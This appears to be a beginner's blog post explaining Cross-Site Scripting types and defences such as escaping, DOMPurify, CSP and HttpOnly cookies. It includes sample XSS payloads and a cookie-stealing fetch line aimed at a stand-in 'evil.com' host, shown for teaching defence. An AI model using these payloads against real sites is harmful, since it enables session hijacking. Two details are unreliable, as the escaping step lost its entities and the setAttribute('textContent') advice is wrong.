If you’re building web applications, sooner or later you’re going to hear about one of the most common and dangerous vulnerabilities on the internet: Cross-Site Scripting (XSS).
XSS attacks have been around for over 20 years, and despite all the tools and frameworks available today, they still appear in thousands of websites every year. The good news is: once you understand how XSS works, preventing it becomes much easier.
What Is Cross-Site Scripting (XSS)?
Cross-Site Scripting (XSS) is a vulnerability where attackers inject malicious JavaScript into a webpage that other users will load.
In other words:
XSS happens when a website accidentally lets strangers run JavaScript on other people’s browsers.
That JavaScript can:
- Steal cookies
- Hijack sessions
- Redirect users to fake websites
- Manipulate the page
- Log keystrokes
- Perform actions on behalf of the user
If an attacker can run JavaScript inside your users’ browsers, they can do almost anything the user could do.
A Simple XSS Example
You build a comment section like this:
<p>User comment:</p>
<div id="comment">
{{ user_comment }}
</div>
If someone posts this as a “comment”:
<script>alert("You just got XSSed!")</script>
And your app prints it back without sanitizing it, the browser will happily run it.
This is a basic stored XSS example (explained later). Instead of an alert, attackers can inject real malicious code.
Why XSS Matters (Real-World Story)
In 2005, a developer named Samy found a small XSS flaw in MySpace.
He posted a profile with this hidden payload:
When someone viewed his profile, the script would:
- Add Samy as their friend
- Copy itself into their profile
- Spread to the next visitor
Within 20 hours, over 1 million MySpace users were infected.
Samy became the most popular user on the platform overnight.
(MySpace later banned him.)
This became known as the Samy Worm, and it’s one of the most famous XSS exploits in history.
Types of XSS
There are three main types every developer should know:
1. Stored XSS (Persistent XSS)
This is the most dangerous type.
How it works:
Malicious input is stored in the database and shown to every user who loads the page.
Example:
A user posts a comment containing JavaScript.
Every visitor’s browser executes that script.
Where it appears:
- Comment sections
- User profiles
- Forums
- Product reviews
- Chat apps
2. Reflected XSS
This is when malicious script comes from the URL or request and immediately gets “reflected” back in the response.
Example:
A URL like:
https://example.com/search?q=<script>alert(1)</script>
If the site prints q into the HTML without escaping it, boom—XSS.
Common sources:
- Search bars
- Contact forms
- Error messages
Phishing links often use reflected XSS.
3. DOM-Based XSS
Here the vulnerability lives in JavaScript itself, not in the server.
Example:
document.getElementById("output").innerHTML = location.hash.substring(1);URL:
URL:
https://yourapp.com/#<img src=x onerror=alert(1)>
If your JS writes raw data into innerHTML, you’re vulnerable—even though the server is not involved at all.
Why XSS Works: The Browser Trust Model
Browsers trust any JavaScript coming from the website you're visiting.
If the site is example.com, then any script running on that page is assumed to be trusted.
Attackers exploit that trust.
If they manage to inject JavaScript into that page, the script becomes indistinguishable from the site’s real code.
That malicious script now has access to:
- Cookies
- Local storage
- DOM
- Session tokens
- User actions
And the browser will not warn the user.
What Attackers Can Do with XSS
XSS is powerful because attackers can do almost anything:
- Steal cookies
If your app stores a session ID in cookies, attackers can do:
fetch("https://evil.com/steal?cookie=" + document.cookie);
- Hijack accounts
Once they get session cookies, they can impersonate the user.
- Redirect users
To phishing pages, malware sites, or fake login forms.
- Modify the page
Replace buttons, forms, prices, text—whatever they want.
- Capture keystrokes
Log your passwords before they’re submitted.
- Trick users into actions
For example, sending money or changing settings.
This is why XSS remains one of the most dangerous vulnerabilities.
How to Prevent XSS (Beginner-Friendly Defensive Techniques)
Good news: most XSS prevention boils down to never trusting user input.
1) Escape Output (MOST IMPORTANT)
Always escape user input before putting it in HTML.
If you expect HTML text:
- Convert < to <
- Convert > to >
Modern frameworks do this automatically:
- React escapes by default
- Django templates escape by default
- Rails escapes by default
- Vue escapes by default
DO NOT bypass auto-escaping unless you absolutely must.
Example (Unsafe):
<div>{{ user_comment }}</div>
Example (Safe):
<div>{{ user_comment | escape }}</div>
2) Avoid innerHTML in JavaScript
Never do:
element.innerHTML = userInput;
Instead use:
element.textContent = userInput;
or
element.setAttribute("textContent", userInput);
If you must use HTML, sanitize it first (e.g., DOMPurify).
3. Use a Trusted HTML Sanitizer
DOMPurify example:
clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;
It removes scripts, onerror handlers, event attributes, etc.
4) Use Content Security Policy (CSP)
CSP is a security header that limits where scripts can load from.
Simple CSP example:
Content-Security-Policy: default-src 'self';
This alone blocks:
- Inline scripts
- Scripts from unknown domains
- Many XSS payloads
CSP is not a magic shield, but it makes XSS much harder.
5) Validate and Sanitize Input on the Server
Server-side checks prevent harmful input from being stored (important for stored XSS).
Example (pseudo-code):
if "<script>" in comment.lower():
reject(comment)
Better: use a real library to sanitize input.
6) Use HTTPOnly Cookies
If you store sessions in cookies, make sure they are marked:
HttpOnly
Secure
SameSite
HttpOnly prevents JavaScript from accessing the cookie, blocking many XSS account-hijacking attempts.
Quick Checklist to Prevent XSS
Beginner programmers should memorize this list:
DO:
- Escape output
- Use textContent instead of innerHTML
- Sanitize user input
- Enable CSP
- Use HttpOnly cookies
- Trust frameworks’ built-in escaping
DON’T:
- Insert untrusted HTML
- Render user input without sanitizing it
- Disable framework escaping
- Use inline JavaScript
- Put user input directly into the DOM
Final Thoughts
Cross-Site Scripting may sound intimidating at first, but the core idea is simple:
Never let users inject JavaScript into pages viewed by other users.
Once you understand how XSS works, you can recognize the patterns everywhere:
- “Why does this feature print user input directly into the page?”
- “Should this be escaped?”
- “Should I be using innerHTML here?”
- “Do I need a sanitization layer?”
By following the defensive techniques in this post, you’ll dramatically reduce XSS risks in your web applications and build safer, more secure experiences for your users.
Keep building. Keep learning. And keep your users safe.
Comments (0)
No comments yet. Be the first to comment!
Please log in to leave a comment.